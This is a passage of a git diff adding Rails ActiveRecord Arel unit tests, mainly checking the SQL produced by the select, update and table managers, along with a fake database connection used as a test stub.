+          SELECT FROM "users" INNER JOIN (SELECT "comments"."user_id" AS user_id, COUNT("comments"."user_id") AS count FROM "comments" GROUP BY "comments"."user_id") counts ON counts."user_id" = 10
+        }
+      end
+
+      it "joins itself" do
+        left      = Table.new :users
+        right     = left.alias
+        predicate = left[:id].eq(right[:id])
+
+        mgr = left.join(right)
+        mgr.project Nodes::SqlLiteral.new("*")
+        _(mgr.on(predicate)).must_equal mgr
+
+        _(mgr.to_sql).must_be_like %{
+           SELECT * FROM "users"
+             INNER JOIN "users" "users_2"
+               ON "users"."id" = "users_2"."id"
+        }
+      end
+
+      it "returns string join sql" do
+        manager = Arel::SelectManager.new
+        manager.from Nodes::StringJoin.new(Nodes.build_quoted("hello"))
+        assert_match "'hello'", manager.to_sql
+      end
+    end
+
+    describe "group" do
+      it "takes an attribute" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.group table[:id]
+        _(manager.to_sql).must_be_like %{
+          SELECT FROM "users" GROUP BY "users"."id"
+        }
+      end
+
+      it "chains" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        _(manager.group(table[:id])).must_equal manager
+      end
+
+      it "takes multiple args" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.group table[:id], table[:name]
+        _(manager.to_sql).must_be_like %{
+          SELECT FROM "users" GROUP BY "users"."id", "users"."name"
+        }
+      end
+
+      # FIXME: backwards compat
+      it "makes strings literals" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.group "foo"
+        _(manager.to_sql).must_be_like %{ SELECT FROM "users" GROUP BY foo }
+      end
+    end
+
+    describe "window definition" do
+      it "can be empty" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.window("a_window")
+        _(manager.to_sql).must_be_like %{
+          SELECT FROM "users" WINDOW "a_window" AS ()
+        }
+      end
+
+      it "takes an order" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.window("a_window").order(table["foo"].asc)
+        _(manager.to_sql).must_be_like %{
+          SELECT FROM "users" WINDOW "a_window" AS (ORDER BY "users"."foo" ASC)
+        }
+      end
+
+      it "takes an order with multiple columns" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.window("a_window").order(table["foo"].asc, table["bar"].desc)
+        _(manager.to_sql).must_be_like %{
+          SELECT FROM "users" WINDOW "a_window" AS (ORDER BY "users"."foo" ASC, "users"."bar" DESC)
+        }
+      end
+
+      it "takes a partition" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.window("a_window").partition(table["bar"])
+        _(manager.to_sql).must_be_like %{
+          SELECT FROM "users" WINDOW "a_window" AS (PARTITION BY "users"."bar")
+        }
+      end
+
+      it "takes a partition and an order" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.window("a_window").partition(table["foo"]).order(table["foo"].asc)
+        _(manager.to_sql).must_be_like %{
+          SELECT FROM "users" WINDOW "a_window" AS (PARTITION BY "users"."foo"
+            ORDER BY "users"."foo" ASC)
+        }
+      end
+
+      it "takes a partition with multiple columns" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.window("a_window").partition(table["bar"], table["baz"])
+        _(manager.to_sql).must_be_like %{
+          SELECT FROM "users" WINDOW "a_window" AS (PARTITION BY "users"."bar", "users"."baz")
+        }
+      end
+
+      it "takes a rows frame, unbounded preceding" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.window("a_window").rows(Arel::Nodes::Preceding.new)
+        _(manager.to_sql).must_be_like %{
+          SELECT FROM "users" WINDOW "a_window" AS (ROWS UNBOUNDED PRECEDING)
+        }
+      end
+
+      it "takes a rows frame, bounded preceding" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.window("a_window").rows(Arel::Nodes::Preceding.new(5))
+        _(manager.to_sql).must_be_like %{
+          SELECT FROM "users" WINDOW "a_window" AS (ROWS 5 PRECEDING)
+        }
+      end
+
+      it "takes a rows frame, unbounded following" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.window("a_window").rows(Arel::Nodes::Following.new)
+        _(manager.to_sql).must_be_like %{
+          SELECT FROM "users" WINDOW "a_window" AS (ROWS UNBOUNDED FOLLOWING)
+        }
+      end
+
+      it "takes a rows frame, bounded following" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.window("a_window").rows(Arel::Nodes::Following.new(5))
+        _(manager.to_sql).must_be_like %{
+          SELECT FROM "users" WINDOW "a_window" AS (ROWS 5 FOLLOWING)
+        }
+      end
+
+      it "takes a rows frame, current row" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.window("a_window").rows(Arel::Nodes::CurrentRow.new)
+        _(manager.to_sql).must_be_like %{
+          SELECT FROM "users" WINDOW "a_window" AS (ROWS CURRENT ROW)
+        }
+      end
+
+      it "takes a rows frame, between two delimiters" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        window = manager.window("a_window")
+        window.frame(
+          Arel::Nodes::Between.new(
+            window.rows,
+            Nodes::And.new([
+              Arel::Nodes::Preceding.new,
+              Arel::Nodes::CurrentRow.new
+            ])))
+        _(manager.to_sql).must_be_like %{
+          SELECT FROM "users" WINDOW "a_window" AS (ROWS BETWEEN UNBOUNDED PRECEDING AND CURRENT ROW)
+        }
+      end
+
+      it "takes a range frame, unbounded preceding" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.window("a_window").range(Arel::Nodes::Preceding.new)
+        _(manager.to_sql).must_be_like %{
+          SELECT FROM "users" WINDOW "a_window" AS (RANGE UNBOUNDED PRECEDING)
+        }
+      end
+
+      it "takes a range frame, bounded preceding" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.window("a_window").range(Arel::Nodes::Preceding.new(5))
+        _(manager.to_sql).must_be_like %{
+          SELECT FROM "users" WINDOW "a_window" AS (RANGE 5 PRECEDING)
+        }
+      end
+
+      it "takes a range frame, unbounded following" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.window("a_window").range(Arel::Nodes::Following.new)
+        _(manager.to_sql).must_be_like %{
+          SELECT FROM "users" WINDOW "a_window" AS (RANGE UNBOUNDED FOLLOWING)
+        }
+      end
+
+      it "takes a range frame, bounded following" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.window("a_window").range(Arel::Nodes::Following.new(5))
+        _(manager.to_sql).must_be_like %{
+          SELECT FROM "users" WINDOW "a_window" AS (RANGE 5 FOLLOWING)
+        }
+      end
+
+      it "takes a range frame, current row" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.window("a_window").range(Arel::Nodes::CurrentRow.new)
+        _(manager.to_sql).must_be_like %{
+          SELECT FROM "users" WINDOW "a_window" AS (RANGE CURRENT ROW)
+        }
+      end
+
+      it "takes a range frame, between two delimiters" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        window = manager.window("a_window")
+        window.frame(
+          Arel::Nodes::Between.new(
+            window.range,
+            Nodes::And.new([
+              Arel::Nodes::Preceding.new,
+              Arel::Nodes::CurrentRow.new
+            ])))
+        _(manager.to_sql).must_be_like %{
+          SELECT FROM "users" WINDOW "a_window" AS (RANGE BETWEEN UNBOUNDED PRECEDING AND CURRENT ROW)
+        }
+      end
+    end
+
+    describe "delete" do
+      it "copies from" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        stmt = manager.compile_delete
+
+        _(stmt.to_sql).must_be_like %{ DELETE FROM "users" }
+      end
+
+      it "copies where" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.where table[:id].eq 10
+        stmt = manager.compile_delete
+
+        _(stmt.to_sql).must_be_like %{
+          DELETE FROM "users" WHERE "users"."id" = 10
+        }
+      end
+    end
+
+    describe "where_sql" do
+      it "gives me back the where sql" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.where table[:id].eq 10
+        _(manager.where_sql).must_be_like %{ WHERE "users"."id" = 10 }
+      end
+
+      it "joins wheres with AND" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.where table[:id].eq 10
+        manager.where table[:id].eq 11
+        _(manager.where_sql).must_be_like %{ WHERE "users"."id" = 10 AND "users"."id" = 11}
+      end
+
+      it "handles database-specific statements" do
+        old_visitor = Table.engine.lease_connection.visitor
+        Table.engine.lease_connection.visitor = Visitors::PostgreSQL.new Table.engine.lease_connection
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.where table[:id].eq 10
+        manager.where table[:name].matches "foo%"
+        _(manager.where_sql).must_be_like %{ WHERE "users"."id" = 10 AND "users"."name" ILIKE 'foo%' }
+        Table.engine.lease_connection.visitor = old_visitor
+      end
+
+      it "returns nil when there are no wheres" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        _(manager.where_sql).must_be_nil
+      end
+    end
+
+    describe "update" do
+      it "creates an update statement" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        stmt = manager.compile_update({ table[:id] => 1 }, Arel::Attributes::Attribute.new(table, "id"))
+
+        _(stmt.to_sql).must_be_like %{
+          UPDATE "users" SET "id" = 1
+        }
+      end
+
+      it "takes a string" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        stmt = manager.compile_update(Nodes::SqlLiteral.new("foo = bar"), Arel::Attributes::Attribute.new(table, "id"))
+
+        _(stmt.to_sql).must_be_like %{ UPDATE "users" SET foo = bar }
+      end
+
+      it "copies limits" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.take 1
+        stmt = manager.compile_update(Nodes::SqlLiteral.new("foo = bar"), Arel::Attributes::Attribute.new(table, "id"))
+        stmt.key = table["id"]
+
+        _(stmt.to_sql).must_be_like %{
+          UPDATE "users" SET foo = bar
+          WHERE ("users"."id") IN (SELECT "users"."id" FROM "users" LIMIT 1)
+        }
+      end
+
+      it "copies order" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from table
+        manager.order :foo
+        stmt = manager.compile_update(Nodes::SqlLiteral.new("foo = bar"), Arel::Attributes::Attribute.new(table, "id"))
+        stmt.key = table["id"]
+
+        _(stmt.to_sql).must_be_like %{
+          UPDATE "users" SET foo = bar
+          WHERE ("users"."id") IN (SELECT "users"."id" FROM "users" ORDER BY foo)
+        }
+      end
+
+      it "copies where clauses" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.where table[:id].eq 10
+        manager.from table
+        stmt = manager.compile_update({ table[:id] => 1 }, Arel::Attributes::Attribute.new(table, "id"))
+
+        _(stmt.to_sql).must_be_like %{
+          UPDATE "users" SET "id" = 1 WHERE "users"."id" = 10
+        }
+      end
+
+      it "copies where clauses when nesting is triggered" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.where table[:foo].eq 10
+        manager.take 42
+        manager.from table
+        stmt = manager.compile_update({ table[:id] => 1 }, Arel::Attributes::Attribute.new(table, "id"))
+
+        _(stmt.to_sql).must_be_like %{
+          UPDATE "users" SET "id" = 1 WHERE ("users"."id") IN (SELECT "users"."id" FROM "users" WHERE "users"."foo" = 10 LIMIT 42)
+        }
+      end
+    end
+
+    describe "project" do
+      it "takes sql literals" do
+        manager = Arel::SelectManager.new
+        manager.project Nodes::SqlLiteral.new "*"
+        _(manager.to_sql).must_be_like %{ SELECT * }
+      end
+
+      it "takes multiple args" do
+        manager = Arel::SelectManager.new
+        manager.project Nodes::SqlLiteral.new("foo"),
+          Nodes::SqlLiteral.new("bar")
+        _(manager.to_sql).must_be_like %{ SELECT foo, bar }
+      end
+
+      it "takes strings" do
+        manager = Arel::SelectManager.new
+        manager.project "*"
+        _(manager.to_sql).must_be_like %{ SELECT * }
+      end
+    end
+
+    describe "projections" do
+      it "reads projections" do
+        manager = Arel::SelectManager.new
+        manager.project Arel.sql("foo"), Arel.sql("bar")
+        _(manager.projections).must_equal [Arel.sql("foo"), Arel.sql("bar")]
+      end
+    end
+
+    describe "projections=" do
+      it "overwrites projections" do
+        manager = Arel::SelectManager.new
+        manager.project Arel.sql("foo")
+        manager.projections = [Arel.sql("bar")]
+        _(manager.to_sql).must_be_like %{ SELECT bar }
+      end
+    end
+
+    describe "take" do
+      it "knows take" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from(table).project(table["id"])
+        manager.where(table["id"].eq(1))
+        manager.take 1
+
+        _(manager.to_sql).must_be_like %{
+          SELECT "users"."id"
+          FROM "users"
+          WHERE "users"."id" = 1
+          LIMIT 1
+        }
+      end
+
+      it "chains" do
+        manager = Arel::SelectManager.new
+        _(manager.take(1)).must_equal manager
+      end
+
+      it "removes LIMIT when nil is passed" do
+        manager = Arel::SelectManager.new
+        manager.limit = 10
+        assert_match("LIMIT", manager.to_sql)
+
+        manager.limit = nil
+        assert_no_match("LIMIT", manager.to_sql)
+      end
+    end
+
+    describe "where" do
+      it "knows where" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from(table).project(table["id"])
+        manager.where(table["id"].eq(1))
+        _(manager.to_sql).must_be_like %{
+          SELECT "users"."id"
+          FROM "users"
+          WHERE "users"."id" = 1
+        }
+      end
+
+      it "chains" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        manager.from(table)
+        _(manager.project(table["id"]).where(table["id"].eq 1)).must_equal manager
+      end
+    end
+
+    describe "from" do
+      it "makes sql" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+
+        manager.from table
+        manager.project table["id"]
+        _(manager.to_sql).must_be_like 'SELECT "users"."id" FROM "users"'
+      end
+
+      it "chains" do
+        table   = Table.new :users
+        manager = Arel::SelectManager.new
+        _(manager.from(table).project(table["id"])).must_equal manager
+        _(manager.to_sql).must_be_like 'SELECT "users"."id" FROM "users"'
+      end
+    end
+
+    describe "source" do
+      it "returns the join source of the select core" do
+        manager = Arel::SelectManager.new
+        _(manager.source).must_equal manager.ast.cores.last.source
+      end
+    end
+
+    describe "distinct" do
+      it "sets the quantifier" do
+        manager = Arel::SelectManager.new
+
+        manager.distinct
+        _(manager.ast.cores.last.set_quantifier.class).must_equal Arel::Nodes::Distinct
+
+        manager.distinct(false)
+        _(manager.ast.cores.last.set_quantifier).must_be_nil
+      end
+
+      it "chains" do
+        manager = Arel::SelectManager.new
+        _(manager.distinct).must_equal manager
+        _(manager.distinct(false)).must_equal manager
+      end
+    end
+
+    describe "distinct_on" do
+      it "sets the quantifier" do
+        manager = Arel::SelectManager.new
+        table = Table.new :users
+
+        manager.distinct_on(table["id"])
+        _(manager.ast.cores.last.set_quantifier).must_equal Arel::Nodes::DistinctOn.new(table["id"])
+
+        manager.distinct_on(false)
+        _(manager.ast.cores.last.set_quantifier).must_be_nil
+      end
+
+      it "chains" do
+        manager = Arel::SelectManager.new
+        table = Table.new :users
+
+        _(manager.distinct_on(table["id"])).must_equal manager
+        _(manager.distinct_on(false)).must_equal manager
+      end
+    end
+
+    describe "comment" do
+      it "chains" do
+        manager = Arel::SelectManager.new
+        _(manager.comment("selecting")).must_equal manager
+      end
+
+      it "appends a comment to the generated query" do
+        manager = Arel::SelectManager.new
+        table = Table.new :users
+        manager.from(table).project(table["id"])
+
+        manager.comment("selecting")
+        _(manager.to_sql).must_be_like %{
+          SELECT "users"."id" FROM "users" /* selecting */
+        }
+
+        manager.comment("selecting", "with", "comment")
+        _(manager.to_sql).must_be_like %{
+          SELECT "users"."id" FROM "users" /* selecting */ /* with */ /* comment */
+        }
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/support/fake_record.rb b/activerecord/test/cases/arel/support/fake_record.rb
new file mode 100644
index 0000000000000..dfbe63df4ecc0
--- /dev/null
+++ b/activerecord/test/cases/arel/support/fake_record.rb
@@ -0,0 +1,140 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/enumerable"
+require "date"
+
+module FakeRecord
+  class Column < Struct.new(:name, :type)
+  end
+
+  class Connection
+    attr_reader :tables
+    attr_accessor :visitor
+
+    def initialize
+      @tables = %w{ users photos developers products}
+      @columns = {
+        "users" => [
+          Column.new("id", :integer),
+          Column.new("name", :string),
+          Column.new("bool", :boolean),
+          Column.new("created_at", :date)
+        ],
+        "products" => [
+          Column.new("id", :integer),
+          Column.new("price", :decimal)
+        ]
+      }
+      @columns_hash = {
+        "users" => @columns["users"].index_by(&:name),
+        "products" => @columns["products"].index_by(&:name)
+      }
+      @primary_keys = {
+        "users" => "id",
+        "products" => "id"
+      }
+      @visitor = Arel::Visitors::ToSql.new(self)
+    end
+
+    def columns_hash(table_name)
+      @columns_hash[table_name]
+    end
+
+    def primary_key(name)
+      @primary_keys[name.to_s]
+    end
+
+    def data_source_exists?(name)
+      @tables.include? name.to_s
+    end
+
+    def columns(name, message = nil)
+      @columns[name.to_s]
+    end
+
+    def quote_table_name(name)
+      "\"#{name}\""
+    end
+
+    def quote_column_name(name)
+      "\"#{name}\""
+    end
+
+    def sanitize_as_sql_comment(comment)
+      comment
+    end
+
+    def schema_cache
+      self
+    end
+
+    def quote(thing)
+      case thing
+      when DateTime
+        "'#{thing.strftime("%Y-%m-%d %H:%M:%S")}'"
+      when Date
+        "'#{thing.strftime("%Y-%m-%d")}'"
+      when true
+        "'t'"
+      when false
+        "'f'"
+      when nil
+        "NULL"
+      when Numeric
+        thing
+      else
+        "'#{thing.to_s.gsub("'", "\\\\'")}'"
+      end
+    end
+
+    def cast_bound_value(thing)
+      thing
+    end
+  end
+
+  class ConnectionPool
+    def initialize
+      @connection = Connection.new
+    end
+
+    def lease_connection
+      @connection
+    end
+
+    def with_connection
+      yield @connection
+    end
+
+    def table_exists?(name)
+      @connection.tables.include? name.to_s
+    end
+
+    def columns_hash
+      @connection.columns_hash
+    end
+
+    def schema_cache
+      @connection
+    end
+
+    def quote(thing)
+      @connection.quote thing
+    end
+  end
+
+  class Base
+    attr_accessor :connection_pool
+
+    def initialize
+      @connection_pool = ConnectionPool.new
+    end
+
+    def with_connection(...)
+      connection_pool.with_connection(...)
+    end
+
+    def lease_connection
+      connection_pool.lease_connection
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/table_test.rb b/activerecord/test/cases/arel/table_test.rb
new file mode 100644
index 0000000000000..4653dec388320
--- /dev/null
+++ b/activerecord/test/cases/arel/table_test.rb
@@ -0,0 +1,206 @@
+# frozen_string_literal: true
+
+require_relative "helper"
+
+module Arel
+  class TableTest < Arel::Spec
+    before do
+      @relation = Table.new(:users)
+    end
+
+    it "should create join nodes" do
+      join = @relation.create_join "foo", "bar"
+      assert_kind_of Arel::Nodes::InnerJoin, join
+      assert_equal "foo", join.left
+      assert_equal "bar", join.right
+    end
+
+    it "should create join nodes with a klass" do
+      join = @relation.create_join "foo", "bar", Arel::Nodes::FullOuterJoin
+      assert_kind_of Arel::Nodes::FullOuterJoin, join
+      assert_equal "foo", join.left
+      assert_equal "bar", join.right
+    end
+
+    it "should create join nodes with a klass" do
+      join = @relation.create_join "foo", "bar", Arel::Nodes::OuterJoin
+      assert_kind_of Arel::Nodes::OuterJoin, join
+      assert_equal "foo", join.left
+      assert_equal "bar", join.right
+    end
+
+    it "should create join nodes with a klass" do
+      join = @relation.create_join "foo", "bar", Arel::Nodes::RightOuterJoin
+      assert_kind_of Arel::Nodes::RightOuterJoin, join
+      assert_equal "foo", join.left
+      assert_equal "bar", join.right
+    end
+
+    describe "skip" do
+      it "should add an offset" do
+        sm = @relation.skip 2
+        _(sm.to_sql).must_be_like "SELECT FROM \"users\" OFFSET 2"
+      end
+    end
+
+    describe "having" do
+      it "adds a having clause" do
+        mgr = @relation.having @relation[:id].eq(10)
+        _(mgr.to_sql).must_be_like %{
+         SELECT FROM "users" HAVING "users"."id" = 10
+        }
+      end
+    end
+
+    describe "backwards compat" do
+      describe "join" do
+        it "noops on nil" do
+          mgr = @relation.join nil
+
+          _(mgr.to_sql).must_be_like %{ SELECT FROM "users" }
+        end
+
+        it "raises EmptyJoinError on empty" do
+          assert_raises(EmptyJoinError) do
+            @relation.join ""
+          end
+        end
+
+        it "takes a second argument for join type" do
+          right     = @relation.alias
+          predicate = @relation[:id].eq(right[:id])
+          mgr = @relation.join(right, Nodes::OuterJoin).on(predicate)
+
+          _(mgr.to_sql).must_be_like %{
+           SELECT FROM "users"
+             LEFT OUTER JOIN "users" "users_2"
+               ON "users"."id" = "users_2"."id"
+          }
+        end
+      end
+
+      describe "join" do
+        it "creates an outer join" do
+          right     = @relation.alias
+          predicate = @relation[:id].eq(right[:id])
+          mgr = @relation.outer_join(right).on(predicate)
+
+          _(mgr.to_sql).must_be_like %{
+            SELECT FROM "users"
+              LEFT OUTER JOIN "users" "users_2"
+                ON "users"."id" = "users_2"."id"
+          }
+        end
+      end
+    end
+
+    describe "group" do
+      it "should create a group" do
+        manager = @relation.group @relation[:id]
+        _(manager.to_sql).must_be_like %{
+          SELECT FROM "users" GROUP BY "users"."id"
+        }
+      end
+    end
+
+    describe "alias" do
+      it "should create a node that proxies to a table" do
+        node = @relation.alias
+        _(node.name).must_equal "users_2"
+        _(node[:id].relation).must_equal node
+      end
+    end
+
+    describe "new" do
+      it "should accept a hash" do
+        rel = Table.new :users, as: "foo"
+        _(rel.table_alias).must_equal "foo"
+      end
+
+      it "ignores as if it equals name" do
+        rel = Table.new :users, as: "users"
+        _(rel.table_alias).must_be_nil
+      end
+
+      it "should accept literal SQL"  do
+        rel = Table.new Arel.sql("generate_series(4, 2)")
+        assert_equal Arel.sql("generate_series(4, 2)"), rel.name
+      end
+
+      it "should accept Arel nodes"  do
+        node = Arel::Nodes::NamedFunction.new("generate_series", [4, 2])
+        rel = Table.new node
+        assert_equal node, rel.name
+      end
+    end
+
+    describe "order" do
+      it "should take an order" do
+        manager = @relation.order "foo"
+        _(manager.to_sql).must_be_like %{ SELECT FROM "users" ORDER BY foo }
+      end
+    end
+
+    describe "take" do
+      it "should add a limit" do
+        manager = @relation.take 1
+        manager.project Nodes::SqlLiteral.new "*"
+        _(manager.to_sql).must_be_like %{ SELECT * FROM "users" LIMIT 1 }
+      end
+    end
+
+    describe "project" do
+      it "can project" do
+        manager = @relation.project Nodes::SqlLiteral.new "*"
+        _(manager.to_sql).must_be_like %{ SELECT * FROM "users" }
+      end
+
+      it "takes multiple parameters" do
+        manager = @relation.project Nodes::SqlLiteral.new("*"), Nodes::SqlLiteral.new("*")
+        _(manager.to_sql).must_be_like %{ SELECT *, * FROM "users" }
+      end
+    end
+
+    describe "where" do
+      it "returns a tree manager" do
+        manager = @relation.where @relation[:id].eq 1
+        manager.project @relation[:id]
+        _(manager).must_be_kind_of TreeManager
+        _(manager.to_sql).must_be_like %{
+          SELECT "users"."id"
+          FROM "users"
+          WHERE "users"."id" = 1
+        }
+      end
+    end
+
+    it "should have a name" do
+      _(@relation.name).must_equal "users"
+    end
+
+    describe "[]" do
+      describe "when given a Symbol" do
+        it "manufactures an attribute if the symbol names an attribute within the relation" do
+          column = @relation[:id]
+          _(column.name).must_equal "id"
+        end
+      end
+    end
+
+    describe "equality" do
+      it "is equal with equal ivars" do
+        relation1 = Table.new(:users, as: "zomg")
+        relation2 = Table.new(:users, as: "zomg")
+        array = [relation1, relation2]
+        assert_equal 1, array.uniq.size
+      end
+
+      it "is not equal with different ivars" do
+        relation1 = Table.new(:users, as: "zomg")
+        relation2 = Table.new(:users, as: "zomg2")
+        array = [relation1, relation2]
+        assert_equal 2, array.uniq.size
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/update_manager_test.rb b/activerecord/test/cases/arel/update_manager_test.rb
new file mode 100644
index 0000000000000..d5029e222203c
--- /dev/null
+++ b/activerecord/test/cases/arel/update_manager_test.rb
@@ -0,0 +1,171 @@
+# frozen_string_literal: true
+
+require_relative "helper"
+
+module Arel
+  class UpdateManagerTest < Arel::Spec
+    it "should not quote sql literals" do
+      table = Table.new(:users)
+      um = Arel::UpdateManager.new
+      um.table table
+      um.set [[table[:name], Arel::Nodes::BindParam.new(1)]]
+      _(um.to_sql).must_be_like %{ UPDATE "users" SET "name" =  ? }
+    end
+
+    it "handles limit properly" do
+      table = Table.new(:users)
+      um = Arel::UpdateManager.new
+      um.key = "id"
+      um.take 10
+      um.table table
+      um.set [[table[:name], nil]]
+      assert_match(/LIMIT 10/, um.to_sql)
+    end
+
+    describe "having" do
+      it "sets having" do
+        users_table = Table.new(:users)
+        posts_table = Table.new(:posts)
+        join_source = Arel::Nodes::InnerJoin.new(users_table, posts_table)
+
+        update_manager = Arel::UpdateManager.new
+        update_manager.table(join_source)
+        update_manager.group(["posts.id"])
+        update_manager.having("count(posts.id) >= 2")
+
+        assert_equal(["count(posts.id) >= 2"], update_manager.ast.havings)
+      end
+    end
+
+    describe "group" do
+      it "adds columns to the AST when group value is a String" do
+        users_table = Table.new(:users)
+        posts_table = Table.new(:posts)
+        join_source = Arel::Nodes::InnerJoin.new(users_table, posts_table)
+
+        update_manager = Arel::UpdateManager.new
+        update_manager.table(join_source)
+        update_manager.group(["posts.id"])
+        update_manager.having("count(posts.id) >= 2")
+
+        assert_equal(1, update_manager.ast.groups.count)
+        group_ast = update_manager.ast.groups.first
+        _(group_ast).must_be_kind_of Nodes::Group
+        assert_equal("posts.id", group_ast.expr)
+        assert_equal(["count(posts.id) >= 2"], update_manager.ast.havings)
+      end
+
+      it "adds columns to the AST when group value is a Symbol" do
+        users_table = Table.new(:users)
+        posts_table = Table.new(:posts)
+        join_source = Arel::Nodes::InnerJoin.new(users_table, posts_table)
+
+        update_manager = Arel::UpdateManager.new
+        update_manager.table(join_source)
+        update_manager.group([:"posts.id"])
+        update_manager.having("count(posts.id) >= 2")
+
+        assert_equal(1, update_manager.ast.groups.count)
+        group_ast = update_manager.ast.groups.first
+        _(group_ast).must_be_kind_of Nodes::Group
+        assert_equal("posts.id", group_ast.expr)
+        assert_equal(["count(posts.id) >= 2"], update_manager.ast.havings)
+      end
+    end
+
+    describe "set" do
+      it "updates with null" do
+        table = Table.new(:users)
+        um = Arel::UpdateManager.new
+        um.table table
+        um.set [[table[:name], nil]]
+        _(um.to_sql).must_be_like %{ UPDATE "users" SET "name" =  NULL }
+      end
+
+      it "takes a string" do
+        table = Table.new(:users)
+        um = Arel::UpdateManager.new
+        um.table table
+        um.set Nodes::SqlLiteral.new "foo = bar"
+        _(um.to_sql).must_be_like %{ UPDATE "users" SET foo = bar }
+      end
+
+      it "takes a list of lists" do
+        table = Table.new(:users)
+        um = Arel::UpdateManager.new
+        um.table table
+        um.set [[table[:id], 1], [table[:name], "hello"]]
+        _(um.to_sql).must_be_like %{
+          UPDATE "users" SET "id" = 1, "name" =  'hello'
+        }
+      end
+
+      it "chains" do
+        table = Table.new(:users)
+        um = Arel::UpdateManager.new
+        _(um.set([[table[:id], 1], [table[:name], "hello"]])).must_equal um
+      end
+    end
+
+    describe "table" do
+      it "generates an update statement" do
+        um = Arel::UpdateManager.new
+        um.table Table.new(:users)
+        _(um.to_sql).must_be_like %{ UPDATE "users" }
+      end
+
+      it "chains" do
+        um = Arel::UpdateManager.new
+        _(um.table(Table.new(:users))).must_equal um
+      end
+
+      it "generates an update statement with joins" do
+        um = Arel::UpdateManager.new
+
+        table = Table.new(:users)
+        join_source = Arel::Nodes::JoinSource.new(
+          table,
+          [table.create_join(Table.new(:posts))]
+        )
+
+        um.table join_source
+        _(um.to_sql).must_be_like %{ UPDATE "users" INNER JOIN "posts" }
+      end
+    end
+
+    describe "where" do
+      it "generates a where clause" do
+        table = Table.new :users
+        um = Arel::UpdateManager.new
+        um.table table
+        um.where table[:id].eq(1)
+        _(um.to_sql).must_be_like %{
+          UPDATE "users" WHERE "users"."id" = 1
+        }
+      end
+
+      it "chains" do
+        table = Table.new :users
+        um = Arel::UpdateManager.new
+        um.table table
+        _(um.where(table[:id].eq(1))).must_equal um
+      end
+    end
+
+    describe "key" do
+      before do
+        @table = Table.new :users
+        @um = Arel::UpdateManager.new
+        @um.key = @table[:foo]
+      end
+
+      it "can be set" do
+        _(@um.ast.key).must_equal @table[:foo]
+      end
+
+      it "can be accessed" do
+        _(@um.key).must_equal @table[:foo]
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/visitors/dispatch_contamination_test.rb b/activerecord/test/cases/arel/visitors/dispatch_contamination_test.rb
new file mode 100644
index 0000000000000..715320d2a3f18
--- /dev/null
+++ b/activerecord/test/cases/arel/visitors/dispatch_contamination_test.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+require "concurrent"
+
+module Arel
+  module Visitors
+    class DummyVisitor < Visitor
+      def initialize
+        super
+        @barrier = Concurrent::CyclicBarrier.new(2)
+      end
+
+      def visit_Arel_Visitors_DummySuperNode(node)
+        42
+      end
+
+      # This is terrible, but it's the only way to reliably reproduce
+      # the possible race where two threads attempt to correct the
+      # dispatch hash at the same time.
+      def send(*args)
+        super
+      rescue
+        # Both threads try (and fail) to dispatch to the subclass's name
+        @barrier.wait
+        raise
+      ensure
+        # Then one thread successfully completes (updating the dispatch
+        # table in the process) before the other finishes raising its
+        # exception.
+        Thread.current[:delay].wait if Thread.current[:delay]
+      end
+    end
+
+    class DummySuperNode
+    end
+
+    class DummySubNode < DummySuperNode
+    end
+
+    class DispatchContaminationTest < Arel::Spec
+      before do
